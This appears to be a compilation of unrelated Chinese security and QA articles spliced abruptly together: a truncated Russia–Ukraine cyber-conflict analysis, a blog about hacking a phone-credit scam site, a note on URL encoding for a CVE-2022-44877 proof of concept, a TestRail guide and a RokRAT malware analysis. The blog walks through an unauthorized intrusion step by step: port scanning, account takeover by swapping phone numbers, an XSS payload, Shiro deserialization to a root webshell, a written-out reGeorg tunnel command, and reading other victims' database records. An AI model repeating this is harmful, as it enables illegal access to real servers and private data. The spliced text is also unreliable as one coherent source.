依據對俄羅斯軍事、工業、能源、金融、交通等關基網絡空間資產的測繪數據(見圖11),其中包括對俄的近3000個關基單位,超過11萬網絡IP的存活、類型、所有者、漏洞、GPS位置、業務類型的測繪數據,可以發現,在黑客攻擊及輿論攻勢下,俄羅斯網絡空間資產和關鍵基礎設施情況基本保持穩定。這也說明俄羅斯具有較強的網絡防禦能力。

图11.jpg

圖11 俄羅斯關鍵信息基礎設施在線存活變化趨勢

烏克蘭也作出了相應的反擊。烏克蘭總統澤連斯基、烏克蘭國家安全局等在呼籲國際黑客加入IT 軍團,從2022年2月26日起,在Telegram上持續發布任務(見表3),組織國際黑客向俄羅斯發起網絡攻擊,攻擊目標覆蓋俄羅斯的銀行、日報媒體、科技公司等網站(見表4)。 2月27日,烏克蘭在網絡上招募的一支由安全研究人員和黑客組成的志願“IT軍隊”,對包括政府機構、關鍵基礎設施和銀行在內的31個俄羅斯實體目標進行網絡攻擊。

表3 烏克蘭IT軍隊在Telegram上發布的部分任務

表3.jpg

表4 烏克蘭IT軍隊發布的部分攻擊目標

表4.jpg

2  對攻擊者的大數據分析自2022年1月起,發生了多起針對烏克蘭重要網站的DDoS攻擊事件。依據創宇安全智腦監和雲蜜罐平台捕獲的攻擊日誌數據,攻擊者通過“肉雞”發起了大規模的DDoS攻擊,並伴隨烏克蘭局勢的變化2月13日之後加大了攻擊強度,在2月24日達到頂峰(見圖12)。

图12.jpg

圖12 攻擊者利用“肉雞”對烏克蘭攻擊趨勢

依據2022年2月20日至2月27日烏克蘭“肉雞”攻擊變化趨勢數據,可以得出以下結論:一是烏克蘭“肉雞”數量從2022年2月20日起呈明顯的上升趨勢,到2月24日到達頂峰。據推測,這是攻擊者通過“肉雞”發起了大規模的DDoS攻擊的高峰期,時間點與普京宣布發起特別軍事行動的時間點相吻合。二是烏克蘭“肉雞”數量在2月24日明顯下降,與前述提到的烏克蘭全境IP地址在線存活數量在2月24日急劇下降的走勢及時間點吻合,兩個數據之間可互相印證。據推測,海量“肉雞”在發動攻擊後被快速主動銷毀。

3月1日,伊賽特公司(ESET)安全團隊披露了針對烏克蘭政府組織的第三種數據擦除惡意軟件IsaacWiper。這種新型數據擦除惡意軟件不帶有用於代碼驗證的數字簽名,與HermeticWiper沒有代碼相似性且複雜度較低,並自2月24日起不斷採用各種技術手段實施攻擊,烏克蘭數百台關鍵計算機被檢測到數據擦除惡意軟件,涉及烏克蘭的金融和政府承包商,導致相關組織的系統設備數據遭到惡意刪除。

依據創宇安全智腦長期對全球黑客使用的300萬跳板IP的跟踪數據,可以對黑客進行畫像,標記其ID、手段、戰法、動機、作戰規律。依據2月20日到3月27日近1萬個黑客使用的跳板抽樣數據(見圖13),在俄烏衝突爆發前幾天,這些跳板被大量用於攻擊俄羅斯,攻擊量比平常增加了30倍。

图13.jpg

圖13 近1萬黑客使用的跳板抽樣數據

多方數據顯示,超過50個國際黑客組織捲入了俄烏網絡衝突。在雙方的持續抗衡下,其中39個黑客組織支持烏克蘭,並持續對俄羅斯發起網絡攻擊,僅15個黑客組織表示支持俄羅斯。相關黑客組織概要情況詳見表5。

表5 相關黑客組織概要情況

表5-1.jpg

表5-2.jpg

3 暗網流量的數據分析暗網因隱蔽性、匿名性往往成為網絡犯罪的滋生地,也成為俄烏衝突網絡對抗的“暗器”。可以說,幾乎所有有價值的攻擊都會通過暗網進行布控和發動。依據創宇安全智腦持續對暗網出口節點實時流量0.13%的採樣數據,對比俄烏衝突爆發前與俄烏衝突爆發初期的暗網流量變化,可以清晰感知暗流湧動的暗網流量變化態勢。

表6 暗網流量變化態勢

表6.jpg

依據表6,暗網出口節點流量去往俄羅斯的佔比在俄烏衝突初期顯著上升,連接數(connection)由衝突前539,759,佔比6.79%,上升至衝突初期2,378,098,佔比29.30%,同期對比烏克蘭的出口訪問流量基本變化不大。俄烏衝突初期暗網出口流量排名前10的出口節點訪問IP地址顯示,其中有7個都是俄羅斯的IP。持續統計暗網出口節點流量訪問HTTP(S)協議-主機名Top10(見圖14),可以發現,大部分流量都去往俄羅斯的主要安全機構俄羅斯聯邦安全局官網fsb.ru。

图14.jpg

圖14 俄烏衝突期間的暗網出口流量統計

結合3月6日匿名者黑客組織(Anonymous)在Twitter上發布的消息(見圖15),他們聲明已經讓fsb.ru不能訪問的消息顯示,推測匿名者黑客組織同時利用了大量的暗網流量,成功發動了網絡攻擊。

图15.jpg

圖15 黑客組織在Twitter上發布的消息

4 對輿論信息數據的分析據國外媒體報導,自俄烏

0X00 事情起因

  大街上偶遇预存话费3999送平板被套路,支付宝被一顿操作又套现又转账的把我花呗都套走了。

回到家越发越觉得不对劲,越发越后悔,网上一搜关于这类的活动一抓一大把而且一模一样越看是越生气啊。

图片  

最主要的呢,送的平板也是八百多的根本不值预存话费的这个价,且居然有卡死的现象,于是乎我决定深挖瞧瞧。

0X01 信息收集

 通过验证短信发过来的短域名链接复制到浏览器解析得到网址xx.xxxx.xx好家伙这网址一看就不是移动官方旗下的,在通过站长工具查询该网址解析到阿里云且未启用cdn,该域名持有者系广东一家某科技公司,域名到今年11月份就到期了,在通过搜索该企业发现经营异常这四个大字,我这好几千的话费肯定是凉透了。

图片图片图片

通过对得到的域名用nmap -p 1-65355 xx.xxxx.xx进行全端口扫描瞧瞧都开放了哪些服务,再从其服务进行入手,可以看到也就只有80跟22端口,唯一有用的信息就是22端口知道对方是Linux服务器的。

图片

在通过对80端口访问web服务得到以下信息,这界面也是短信内容里短域名所跳转过来的界面。

图片

它的URL形式是/admin/user/login明显的用户登陆界面,众所周知admin是管理的意思,直觉让我逐层递减目录访问,果不其然跳转到了admin/login的商家管理界面。

图片


0X02 漏洞挖掘

目前初步找出两个登陆界面,后台登陆是没有验证码的可进行爆破操作,但前提条件是知道商家的手机号,这里就先正常登陆我自己的用户瞧瞧里面有无可利用的地方,功能很简单并无可利用的地方头像处也无法进行编辑上传等操作该界面也只是提供显示话费的总额,我猜他们搭这样一个平台也只是显示个数字前几个月唬住消费者。

图片

决定退出用户用burp抓个包分析分析传输的数据,输入正确的手机号验证码以及短信验证码开启抓包,可看到参数都是以明文传输的,验证码这些均与正确那我如果替换成别的用户是不是可以达到一个水平越权漏洞了呢,mobile处替换号码成功登陆别的用户斩获水平越权漏洞一枚。

图片图片

一样的个人中心一样的无任何利用的地方,转战后台登陆框框,像这类的后台二话不说直接使用burp抓个登陆的POST包在保存到本地txt文件使用sqlmap跑一跑说不定有意外的收获,因为是阿里云的服务器本地跑百分百的被拦截,所以我选择用与它相同的阿里云服务器去跑,username,password,remenbaer这三个均不存在注入。

图片图片

没事,抓个包发个包看看响应回来的数据,可以看到账号的内容直接输出在了value的标签上。

图片

构造xss payload闭合插它!!”><script>alert(/xss/)</script>然后在重新发包斩获反射性xss一枚。

图片

图片


0X03 Getshell

挖到的那个两个漏洞太鸡肋了,思路也暂时断了回过头再分析分析抓到的数据包,一直没太注意响应包仔细一看发现rememberMe=deleteMe字样,shiro反序列化漏洞呀。

图片

直接怼上exp,这里直接查看源代码取网站内的静态文件填入做检测。

图片

可看到命令执行框内是可输入的证明存在该漏洞相反不存在则不可输入,且在/css的同级目录下生成了5663.js的验证文件,访问测试是否成功写入文件。

图片图片

成功写入文件,接下来写入shell冰蝎连接执行whoami查看当前权限,Linux的环境直接root最高权限省去了需要提权的麻烦。

图片

权限有了,并且服务器对外开放22端口可以直接写入公钥免密登陆,但考虑对方是阿里云的服务器异地登陆的话会有短信提醒动静太大所以没执行该方案,继续挖掘有用的信息,翻了半天翻到了个数据库的配置文件,数据库连接的地址是172.xx.xx.xx(各位师傅技艺高超内网地址也给码上防止爆菊)一看就知道是内网的ip站库分离啊,想办法代理转发出来连接瞧瞧。

图片

冰蝎上有个Socks代理配合Proxifier在加上Navicat Premium数据程序管理进行隧道代理打入其内网数据库,常规的配置好Proxifier后添加程序进行连接,可问题来了反反复复试了好几次一点连接就直接数据异常,十有八九的被拦截了。

图片

在内网代理这块踩了不少的坑总而言之还是自己经验不足,也有各位师傅指点使用adminer.php(这里手动@Uncia大佬),adminer确实不错很轻量便捷只需上传web目录即可但奈何使处的环境是Java环境只支持jsp脚本adminer也只有php的脚本。

图片


0X04 内网代理

既然adminer不支持冰蝎也代理不出,那咱们就自己搭一条代理的隧道出来,在这里踩了不少的坑尝试利用reDuh和Tunna要么就是没流量要么就是连上一下子就断开,不知道是不是我的姿势不对还是受当前环境的限制,最终在GitHub上找到reGeorg神器。

reGeorg 可以说是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路,用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口,它利用 webshell 建立一个 socks 代理进行内网穿透,因为当前环境是java所以我们上传.jsp的转发文件到网站目录下。

上传脚本后访问其脚本,显示Georg says, 'All seems fine',代理成功。

图片

后在本地执行python2 reGeorgSocksProxy.py -p 9999 -u http://xx.xxxx.xx/tunnel.jsp在命令行界面同样显示Georg says, 'All seems fine'即可。

图片

打开Proxifier基本配置好监听本地127.0.0.1的9999端口,然后设置代理规则添加Navicat程序,其他动作选择Direct关闭状态唯独只允许Navicat流量通过。

图片

配置完后,右键Navicat以Proxifier本地代理模式打开。

图片

可以看到已稳定链接且Python窗口有流量传输(切记代理过程中请勿关闭窗口)。

图片


0X05  实锤骗局

 数据库咱也连上了,看看会员表里的账号,通过筛选member会员表里的name字段查找自己的名字,果不其然自己就躺在那里数据的时间跟被套路的时间相吻合。

图片

如何实锤?很简单库里的第一批用户是2019年5月份的,到现在也相差一年了,这是不是骗局登录19年的账号看看返现记录就一幕了然,就随机抽取一位幸运玩家结合前面的水平越权漏洞登录其账号。

图片

这都过去一年时间了果然也就只首次返现一次,前几个月唬住消费者过后又以各种理由的欺骗你,总之永远吃亏的还是消费者。

图片


0X06  写到最后

至于为何写这篇文章,因为我也是受害者我想通过这样的方式去剖析它让大家更直观的了解这个局以免更多的人被套路,你去办理的时候他们会跟你说这是移动授权下来的活动(之前也是这么跟我说的),但这一路下来可以看出跟移动半毛钱关系没有,只不过是他们自主搭建的一个平台,里边的余额也只是唬住你,有这么一个平台一个数字显示出来让你放心而已,至于首月到账的那几百块也只是从你那套的好几千手动给你充值给几百而已。

不说了,接下来的一年里我要吃土还花呗了嘤嘤嘤,商家登录系统那我估计还会有更多的猫腻,但渗透测试点到为止,我的目的就是证明这是不是一个骗局既然实锤了咱们也没必要在深入了。

我们所做的安全对抗,正如同没有硝烟的战争,战争的结果除了输赢之分,还有正义与非正义之别,唯一的区别就是我们要时刻站在正义的视角,探索了其漏洞原理,却不因此对其造成损害




转载于原文链接地址: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486245&idx=1&sn=ebfcf540266643c0d618e5cd47396474&chksm=ce67a1bcf91028aa09435781e951926067dcf41532dacf9f6d3b522ca2df1be8a3c8551c1672&scene=21#wechat_redirect


0x00 前言我在使用Python Requests庫發送HTTP數據包時,發現Requests庫默認會對url進行編碼。而在測試某些漏洞時,觸發漏洞需要url的原始數據,禁用編碼url的功能。本文將要介紹我的解決方法,記錄研究細節。

0x01 簡介本文將要介紹以下內容:

測試環境

解決方法

0x02 測試環境我在研究CVE-2022-44877時遇到以下情況:

實現寫文件的POC如下:

1.png根據POC我們可以寫出對應的Python測試代碼:

2.png為了便於測試,Python測試代碼在發送POST數據時添加了代理,我們可以藉助BurpSuite觀察實際發送的內容,如下圖

3.png 4.png

0x03 解決方法5.png 6.png 7.png 8.png 9.png 10.png 11.png 12.png 13.png 14.png

url未做編碼,問題解決

0x04 解決方法2這裡還可以使用C Sharp實現發送POST數據,避免url編碼,實現代碼如下:

15.png0x05 小結本文介紹了通過修改Python Requests庫禁用編碼url的方法,也給出了C Sharp禁用編碼url的實現代碼,記錄研究細節。

測試軟件的性能可能非常耗時。不斷檢查和修復失敗的測試或錯誤會花費大量時間,並且需要質量保證(QA) 團隊付出大量努力,尤其是當他們手動進行時。

為了節省時間並仍然提供高質量的結果,許多項目旨在自動化他們的測試工作。我們謹慎地開發自動化測試策略並使用TestRail 來管理自動化測試結果。

本文將通過分享我們在使用此工具時的策略,幫助您了解如何借助TestRail 提高QA 流程的效率。

為什麼要管理自動化測試結果?為確保有效的自動化測試,您需要製定測試管理策略並為您的項目選擇合適的技術和測試覆蓋率。這將為您提供自動測試結果的透明度、對這些結果的有效分析和管理,以及處理脆弱測試的策略,這些測試在大多數時間都有效。

實施測試自動化時最常見的問題之一是缺乏對自動測試結果管理的關注。管理自動化測試的結果是構建高效測試策略不可或缺的一部分。從長遠來看,它可以幫助您顯著縮短重複的手動測試過程並優化您的QA 費用。

最壞的情況是當您在自動質量保證(AQA) 環境中本地運行測試並且它們沒有集成到持續集成和持續部署(CI/CD) 管道中時。在這種情況下,您無法控制自動測試的定期運行或其結果。隨著時間的推移,或者在更改AQA 環境之後,自動測試可能永遠不會再次運行,並且它們之前的結果可能會丟失。因此,專門用於編寫和運行這些測試的資金和其他資源可能被證明是白費了。

在更成熟的流程中,QA 工程師和開發人員將自動測試集成到CI/CD 管道中。 QA 專家定期在測試環境中運行測試,並將結果匯總在一份報告中。通常,自動化測試團隊獨立於手動測試團隊工作。因此,手動測試及其結果與自動測試分開監控。這有一些負面影響:

您需要在多個地方努力管理測試結果

存在不及時響應失敗的自動測試的風險

有時,人工和自動化QA 專家對監控自動測試結果的職責模糊不清,這可能導致測試結果未被處理甚至丟失。此外,手動和自動QA 專家的職責不明確使計算自動測試覆蓋率的過程變得複雜,而自動測試覆蓋率是管理測試自動化的最重要指標之一。

現在,讓我們看看可以將測試自動化工具集成到測試過程中的不同情況。

您可以使用測試自動化工具實現什麼?通過將自動測試管理工具集成到QA 部門的工作中,您可以監督很多事情。

image.png

您可以使用自動測試自動化工具做什麼

自動化測試場景。自動測試管理工具為您提供了一種存儲自動測試場景以供將來使用的便捷方式。例如,如果您使用行為驅動開發或基於關鍵字的測試自動化方法,您可以為每次測試運行從存儲中檢索自動化測試場景。

測試執行過程。在測試用例的執行過程中,自動測試管理工具提供了許多組合測試的選項:順序執行、優先級排序、並行執行等。根據測試項目的要求、資源和目標,您可以選擇最佳選項並將其集成到您的自動測試管理工具中。

測試執行結果。許多測試管理工具允許您在測試運行後生成報告。這些報告有很多可視化組件,包括執行結果、失敗的測試和失敗的原因,以及總執行時間。

測試執行歷史。您所有的測試運行結果都已存儲並可以隨時檢索。您還可以根據所選工具的功能使用不同參數生成所有執行的統計信息。

為了優化自動測試結果的監控和管理,Apriorit 團隊採用了一種綜合方法,結合了手動和自動測試活動。作為這種方法的一部分,我們:

確保負責手動和自動測試工作的QA 專家作為單個團隊的一部分不斷聯繫

使用單一工具管理手動測試和自動測試

有幾種流行的自動測試結果管理工具,包括TestRail、Zephyr、QMetry 和Testmo。根據我們的經驗,我們更喜歡使用TestRail,因為它具有以下優勢:

image.png

TestRail的優勢

Jira 測試集成。我們使用Jira 作為我們的主要進度跟踪軟件,因此將TestRail 與Jira 一起用於測試自動化對我們團隊來說非常方便。

能夠管理手動和自動測試。這提高了我們QA 團隊的工作效率,使他們能夠及時響應失敗的測試。

測試用例統一。這使我們能夠以一種適合我們的單一格式使用測試用例,並以相同的格式自動從TestRail 導出測試用例。在我們導入現有的測試用例或創建新的測試用例後,TestRail 會將選定的模板應用於所有可用的測試用例。

用戶友好的用戶界面。 TestRail 不僅在視覺上很吸引人,而且使用起來也很直觀。

現在讓我們來看看我們在TestRail 中管理自動化測試結果的策略。

如何在TestRail中處理自動化測試結果我們基於左移方法開發了自己有效的QA 策略。

該策略的好處包括:

質量保證活動的時間和成本節省

更快的上市時間

改善用戶體驗

令人滿意的產品性能

作為我們有效的自動化策略的一部分,我們在策略實施之前的早期測試階段建立了自動測試覆蓋率。完成測試設計階段後,我們分析哪些設計的測試用例應該被自動測試覆蓋。所選測試在TestRail 中的類型字段中標記為自動。

指定測試用例類型可以讓我們在TestRail自動化測試時,所有的自動測試都有對應的測試用例。通過這種方法,運行自動測試和監控其結果的過程變得可控和透明。由於我們為每個自動測試都有一個相應的測試用例,並且我們知道如何在TestRail 中自動創建測試運行,因此我們可以按如下方式最終確定我們的自動測試結果管理策略:

image.png

Apriorit 自動測試結果管理策略

首先,我們為每個構建運行自動測試作為CI/CD 管道的一部分。

成功構建後,我們將新的自動測試版本發送到單獨的測試台以運行自動測試。

每次運行時,我們都會在TestRail 中形成一個新的測試運行,添加所有自動化類型的測試。

形成一個新的試運行後,我們按照一個模板來命名,這樣我們就可以很方便的了解試運行的版本和時間。例如,我們使用以下模板:Acceptance_Automation_Run_

完成自動測試後,每個測試的狀態都會在測試運行中自動輸入- 通過、失敗或未測試。

我們完成所有測試運行。之後,我們會收到一條通知,其中包含指向新測試運行的鏈接。

最後,我們審查通過測試的結果並分析狀態為“失敗”或“未測試”的測試。

在處理狀態為“失敗”或“未測試”的測試時,我們還使用定義的工作流程:

我們為回溯系統中所有失敗的測試創建錯誤票。我們的團隊總是重新檢查失敗的測試,並在錯誤報告中包含有關手動檢查結果的信息。

我們始終將修復錯誤或失敗的測試放在首位,即使它無法手動重現。我們這樣做是因為對我們來說,不正確的工作或失敗的測試與成品中的錯誤具有相同的優先級。

我們還為狀態為Untested 的測試創建錯誤票。一旦我們在測試運行中包含了自動類型的測試,它們就必須被覆蓋並且應該定期執行。如果有測試但我們團隊還沒有執行,這也是與產品bug同等優先級的問題。

因此,我們創建了一個透明的系統來監視和控制自動測試啟動的規律性和自動測試的結果。整個團隊,從AQA 和手動QA 專家一直到開發人員和管理人員,都可以收到有關測試啟動的通知並輕鬆查看測試運行的結果。

AQA 和手動QA 專家都可以查看測試結果和在失敗測試中註冊的錯誤。一切都是完全透明的,測試過程的所有參與者都可以訪問。現在我們已經解釋了我們在TestRail 中處理自動化測試結果的策略,是時候將TestRail 自動化集成到您的QA 流程中了。

如何將自動測試結果與TestRail 集成(實例)如果您想將自動測試結果與TestRail 集成,您可以使用與您在編寫自動測試時使用的技術相對應的現成插件。我們在下面的示例中展示的方法適用於Python 測試和Cypress 測試。

我們建議在每次運行自動測試時創建一個新的測試運行,因為它比運行單個測試更方便。這樣,您就不會丟失任何重要信息,例如測試執行日期和失敗測試統計信息。為了在每次運行自動測試時創建一個新的測試運行,我們在TestRailAPI 上實現了一個包裝器。

讓我們仔細看看每個使用的插件。

集成Python 測試您可以使用pytest-testrail插件將TestRail 和自動化測試集成到您的QA 流程中。

當您運行Python 自動測試時,您需要指定報告者和測試運行ID。

例如:

python-mpytest--testrail--tr-run-id=111自動測試標記為@pytestrail.case(*testrail_case_id*)。執行測試後,相應的測試狀態將添加到測試運行中。

在測試運行執行期間,我們使用來自testrail.cfg 文件的數據,其中包含以下參數:URL、憑據、project_id、suite_id 等。

以下是Python 測試的配置文件的樣子:

Python

[API]

url=https://yoururl.testrail.net/

email=user@email.com

password=

[TESTRUN]

assignedto_id=1

project_id=2

suite_id=3

plan_id=4

description='Thisisanexampledescription'

[TESTCASE]

custom_comment='Thisisacustomcomment'現在讓我們看一下將Cypress 測試集成到TestRail 中。

您可以使用TestRail Reporter for Cypress將Cypress 測試集成到TestRail 中。

您需要在TestRail Cypress 測試中包含測試用例的ID。在執行Cypress 測試時,您可以自動從cypress.json 文件中獲取數據。此數據包括以下參數:reporter、testrail URL、credentials、project_id、suite_id、run_id 等。

例如:

JavaScript

.

'reporter':'cypress-testrail-milestone-reporter',

'reporterOptions':{

'domain':'yourdomain.testrail.com',

'username':'username',

'password':'password',

'projectId':'projectIdNumber',

'milestoneId':'milestoneIdNumber',

'suiteId':'suiteIdNumber',

'createTestRun':'createTestRunFlag',

'runName':'testRunName',

'runId':'testRunIdNumber',

}為方便起見,您可以在每次測試運行結束時自行生成包含關鍵指標的報告。接下來,我們關注這些指標及其含義。

如何理解TestRail 中的重要指標將TestRail 用於您的QA 流程,除了提供自動測試的透明度和可控性之外,還可以輕鬆收集重要指標並跟踪其動態。執行測試運行後,您可以隨時在TestRail 中查看有關測試的結果和重要信息。

我們建議在報告中關注兩個重要指標:

image.png

主要的TestRail 指標

1. 自動化覆蓋率是自動測試覆蓋的測試用例的百分比。當您使用TestRail 管理自動化測試用例時,它們都有一個單獨的類型。您可以輕鬆計算驗收測試覆蓋率百分比以及整體自動化覆蓋率。

要了解自動測試的數量和百分比,請轉到“報告”選項卡。選擇名稱並為您的報告添加描述。之後,選擇Report Options中的Grouping選項卡並按Type對測試用例進行分組。

Property-Distribution-report-1.png

截圖1. Property Distribution 報告

最好定期生成Property Distribution 報告以監控指標動態,這將使您的團隊能夠控制自動測試覆蓋範圍的增加或縮小。

2. 每個測試的成功率是特定測試的通過/失敗狀態的百分比。在TestRail 報告的幫助下,您可以跟踪特定測試失敗的次數,並關注最常失敗的測試。

要在TestRail 中分析失敗的測試,首先轉到Reports選項卡。輸入名稱並為您的報告添加描述。之後,在Report Options 中選擇Failed狀態。

image.png

屏幕截圖2. Status Tops 報告

完成這些操作後,您將看到最常失敗的測試。

在分析失敗的測試時,您可以將它們分為兩類:

片狀測試(不可靠、脆弱的測試)——不穩定且經常失敗的測試,沒有明顯原因給出誤報結果,而不是發現實際錯誤。我們將在下一節中詳細描述使用此類測試的策略。

不穩定的測試或用例——損壞或有問題的測試或用例。這些測試表明您的模塊中有脆弱的代碼,您的QA 團隊可能需要重構它。

您需要立即解決並嘗試修復任何無緣無故失敗的測試,以免它拖延開發過程並在未來佔用您的QA 專家的時間。讓我們仔細看看如何處理這些不穩定的測試。

如何管理不穩定的測試不穩定的測試需要QA 專家的特別關注,他們處理自動測試、分析每個測試運行的結果,並為每個失敗的測試發布錯誤報告。不穩定的測試可能需要QA 專家付出大量努力,包括每次測試運行所花費的時間和資源、失敗測試的手動分析以及修復測試所花費的時間。

為了減少花在不可靠測試上的時間,您需要在自動測試管理策略中明確描述使用此類測試的策略。在Apriorit,我們有一個處理不穩定測試的清晰策略:

image.png

如何管理片狀測試

步驟1.首先,我們在這種特殊情況下定義了一個不穩定的測試。在我們的實踐中,如果某項測試連續三次出現誤報,我們就會認為該測試不穩定或不可靠。

第2 步。我們嘗試通過修復它來穩定flaky 測試。

第3 步。如果在嘗試修復它後,測試仍然失敗並給出誤報結果,我們可能需要刪除自動測試並更改TestRail 中的測試用例類型。

如果測試不可靠並且您無法穩定它,它就會成為您的QA 團隊的負擔。當測試不可靠並且您不能相信其結果時,最好盡快修復它或將其刪除。這樣,您就不必花時間支持和監控易碎測試的結果並手動檢查它們。

現在您有了處理不可靠測試的明確計劃。因此,您可以確信您的QA 團隊不會在此類測試上浪費太多時間和精力。

結論您可以將我們的示例作為QA 流程的基礎,並根據您的需要進行調整。使用TestRail 進行自動化測試結果管理可讓您顯著改善質量保證工作。在TestRail 的幫助下,您的QA 團隊可以減少在測試運行上花費的時間和資源。您還可以在TestRail 中跟踪您的結果,從而更有效地管理您的測試運行並處理失敗的測試和錯誤。

微信截图_20230507224157.png

本文是Check Point根據其2022年7月首次發現的一個RokRAT樣本來做的深入分析。

早在2022 年7 月,APT37(Inky Squid、RedEyes、Reaper或ScarCruft)就開始試驗使用超大LNK 文件傳播RokRAT活動,企圖利用不受信任來源的宏發起攻擊,巧的是,同月微軟開始默認阻止跨Office 文檔的宏。與以前一樣,攻擊的目標還是韓國的目標。

研究結果表明,用於最終加載ROKRAT的各種多階段感染鏈被用於其他攻擊,導致傳播與同一攻擊者相關的其他工具。這些工具包括另一個自定義後門,GOLDBACKDOOR和Amadey。

在前幾年,ROKRAT感染鏈通常涉及帶有漏洞的惡意朝鮮文字處理器(HWP,韓國流行的文檔格式)文檔或帶有宏的Microsoft Word文檔。雖然一些ROKRAT樣本仍然使用這些技術,但傳播方式上還是進行了改進,即使用偽裝成合法文檔的LNK文件傳播ROKRAT。這種轉變並不是ROKRAT獨有的,而是代表了2022年非常流行的更大趨勢。

ROKRAT的背景介紹Talos於2017年4月首次報導了APT37開發的ROKRAT(也稱為DOGCALL),這個工具被用來針對韓國的政府部門,記者、活動人士和脫北者。根據最初的報告,其中一個ROKRAT樣本使用Twitter作為其命令和控制(CC)基礎設施,而另一個則依賴於Yandex和Mediafire。後一個更接近於如今ROKRAT的活動方式,依賴雲文件存儲服務作為一種CC機制。

最初只支持Windows,多年來ROKRAT已經適應了其他平台,在野外發現了macOS和Android版本。 macOS版本,也稱為CloudMensis,於2022年7月由ESET首次描述。雖然Android版本的ROKRAT已經存在了很長時間,但InterLab和S2W都在Android上推出了一個更新版本的ROKRAT,稱為RambleOn(Cumulus)。所有這些都表明,這種惡意軟件仍在迭代中。

APT37的許多工具都是自定義編寫的工具,如ROKRAT,包括(但不限於)最近報導的M2RAT、Konni RAT、Chinotto和GOLDBACKDOOR。然而,攻擊者也會使用Amadey等普通惡意軟件。使用普通惡意軟件使得將攻擊歸因於特定組織變得更加困難,因為它廣泛可用,任何人都可以獲得它。

今年2月,AhnLab報告了一種名為Map2RAT(簡稱M2RAT)的新RAT。這種RAT利用隱寫術技巧,將可執行文件隱藏在JPEG文件中以逃避檢測。今年3月,Sekoia和ZScaler都發布了APT37使用釣魚網站和PowerShell後門的報告,ZScaler導致了另一個名為Chinotto的植入程序的傳播。

誘餌和感染鏈在過去的四個月裡,我們觀察到多個感染鏈導致了ROKRAT的傳播。在大多數情況下,LNK文件會啟動攻擊,儘管在少數情況下,DOC文件被用於相同的目的(以前的ROKRAT攻擊中的方法)。在分析ROKRAT感染鏈的過程中,研究人員發現了導致Amadey傳播的攻擊鏈,Amadey是一種在地下論壇上出售的商業RAT。儘管攻擊的性質不同,但研究人員認為所有這些攻擊都是由相同的攻擊者策劃的。

1.png

誘餌和感染鏈的時間線

誘餌LNK感染鏈2022年4月,Stairwell發表了對GOLDBACKDOOR的詳細分析,這是一種針對韓國記者的有針對性攻擊中使用的惡意軟件。 Stairwell對利用運行PowerShell的大型LNK文件的感染鏈進行了徹底分析,導致在釋放誘餌文檔的同時執行新發現的惡意軟件。這項技術是一個名為EmbeddExeLnk的公共工具的獨特實現。

雖然最初與GOLDBACKDOOR有關,但對最近與APT37相關的誘餌的分析表明,這種技術已經成為一種重要的方法,用於傳播與同一攻擊者相關的另一種工具,即ROKRAT。 ROKRAT和GOLDBACKDOOR加載機制的實現非常相似,只有在檢索有效負載時才能區分。

在過去的幾個月裡,研究人員能夠利用ZIP和ISO檔案中提供的這種獨特實現來識別多個誘餌。只有其中一些誘餌被證實會導致ROKRAT的傳播。所有的誘餌都以韓國國內外事務為主題。

LNK感染鏈分析目前已知的所有LNK都會導致幾乎相同的感染鏈。下面以“利比亞項目”中描述的一個感染為例進行說明:

7.png

“利比亞項目”誘餌的感染鏈

點擊惡意LNK文件會觸發PowerShell的執行,並啟動以下感染鏈:

1.PowerShell從LNK中提取文檔文件,將其放入磁盤,然後打開它。這個文件是一個誘餌,欺騙用戶以為他們只是打開了一個普通的PDF或HWP文件。

2.PowerShell從LNK中提取BAT腳本,將其放入磁盤並執行。

8.png

3.BAT腳本執行一個新的PowerShell實例,該實例從OneDrive下載有效負載,通過將有效負載的第一個字節作為密鑰對其進行解碼,並將其與有效負載的其餘部分進行異或。

4.生成的有效負載以反射方式註入PowerShell,使其作為新線程運行。

5.shellcode使用四字節異或密鑰對有效負載的ROKRAT部分進行解碼並執行它。

9.png

典型的ROKRAT感染鏈ROKRAT運營商在採取新的行為同時,仍夾雜了一些舊習慣,比如,ROKRAT仍然使用惡意Word文檔進行部署。

2022年12月,有人向VirusTotal提交了一份惡意的Word文檔,命名為“.doc”(Case fee_Payment request.doc)。該文件本身包含一個輸入個人和銀行信息的簡短表格。然而,對該文件的仔細檢查顯示,其中提到了韓國的統一部。

10.png

“利比亞項目”誘餌的感染鏈

一旦用戶打開惡意文檔並允許宏執行,就會觸發以下感染鏈:

1.宏通過設置AccessVBOM註冊表項以加載其他代碼來檢查並確保它可以訪問Visual Basic項目。

2.宏解碼一個新的VBA腳本,將其寫入宏中的一個新模塊,然後執行它。這是在不將任何代碼釋放到磁盤的情況下完成的。

3.第二個VBA腳本運行notepad.exe並將shellcode注入其中。

4.shellcode在notepad.exe中運行,並進入OneDrive下載ROKRAT有效負載並在內存中執行它。

11.png

這裡描述的感染鏈與MalwareBytes在2021年1月報告的非常相似,MalwareBytes也通過將shellcode注入notepad.exe並將RAT加載到內存中來傳播ROKRAT。然而,MalwareBytes研究中描述的樣本的編譯日期是從2019年開始的,而checkpoint發現的新ROKRAT樣本似乎是在2022年12月21日編譯的,距離文件提交給VirusTotal只有六天時間。

此外,在2023年4月發現的另一個文件似乎是同一感染鏈的一部分,只是這次注入的目標進程是mspaint.exe,該文件以朝鮮的核武器為主題。不幸的是,在我們進行分析時,URL不再響應下載負載的請求。但是,這份文件很有可能也是為了傳播ROKRAT。

與Amadey的關聯2022年11月初,一個名為securityMail.zip的文件被提交給了VirusTotal。這個ZIP包含兩個LNK,它們的大小都不到5MB,令人懷疑。 PowerShell命令在兩個LNK中的實現是唯一的,並且僅與ROKRAT和GOLDBACKDOOR LNK感染重疊。然而,這個特定的感染鏈最終傳播了Amadey,這是一種可在網絡犯罪論壇上出售的惡意軟件。 Amadey過去曾被認為是Konni開發的,Konni組織與APT37的背景類似。

12.png

“安全郵件”誘餌的感染鏈,打開這些LNK中的任何一個都會產生惡意流程:

1.PowerShell命令從LNK中提取一個誘餌HTML文件,並將其放入磁盤,其方式與ROKRAT感染鏈類似:

13.png

2.這個PowerShell還從包含DLL的LNK中提取一個ZIP文件。然後將DLL作為mfc100.dll放入磁盤。

3.PowerShell最終也從LNK中提取了一個BAT腳本,將其放到磁盤上並執行。

4.BAT腳本運行帶有rundll32.exe的DLL並刪除自身。

13.png

